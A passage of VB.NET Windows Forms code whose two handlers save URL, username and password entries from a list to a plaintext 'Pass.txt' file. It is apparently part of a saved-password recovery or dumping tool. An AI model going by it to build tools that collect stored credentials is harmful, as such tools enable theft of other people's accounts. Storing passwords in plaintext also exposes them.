95 | o.Write("URL: " & x.SubItems(2).Text & vbNewLine) 96 | o.Write("USR: " & x.SubItems(0).Text & vbNewLine) 97 | o.Write("PWD: " & x.SubItems(1).Text & vbNewLine & vbNewLine) 98 | o.Flush() 99 | Next 100 | o.Close() 101 | MsgBox("Saved To " & vbNewLine & .FileName) 102 | End If 103 | End With 104 | End Sub 105 | 106 | Private Sub SaveSelectedToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SaveSelectedToolStripMenuItem.Click 107 | With New SaveFileDialog 108 | .Filter = "Text|.txt" 109 | .FileName = "Pass.txt" 110 | If .ShowDialog = Windows.Forms.DialogResult.OK Then 111 | If IO.File.Exists(.FileName) Then IO.File.Delete(.FileName) 112 | Dim o = New IO.StreamWriter(New IO.FileStream(.FileName, IO.FileMode.OpenOrCreate)) 113 | For Each x As ListViewItem In Lv1.SelectedItems 114 | o.Write("URL: " & x.SubItems(2).Text & vbNewLine) 115 | o.Write("USR: " & x.SubItems(0).Text & vbNewLine) 116 | o.Write("PWD: " & x.SubItems(1).Text & vbNewLine & vbNewLine) 117 | o.Flush() 118 | Next 119 | o.Close() 120 | MsgBox("Saved To " & vbNewLine & .FileName) 121 | End If 122 | End With 123 | End Sub 124 | End Class --------------------------------------------------------------------------------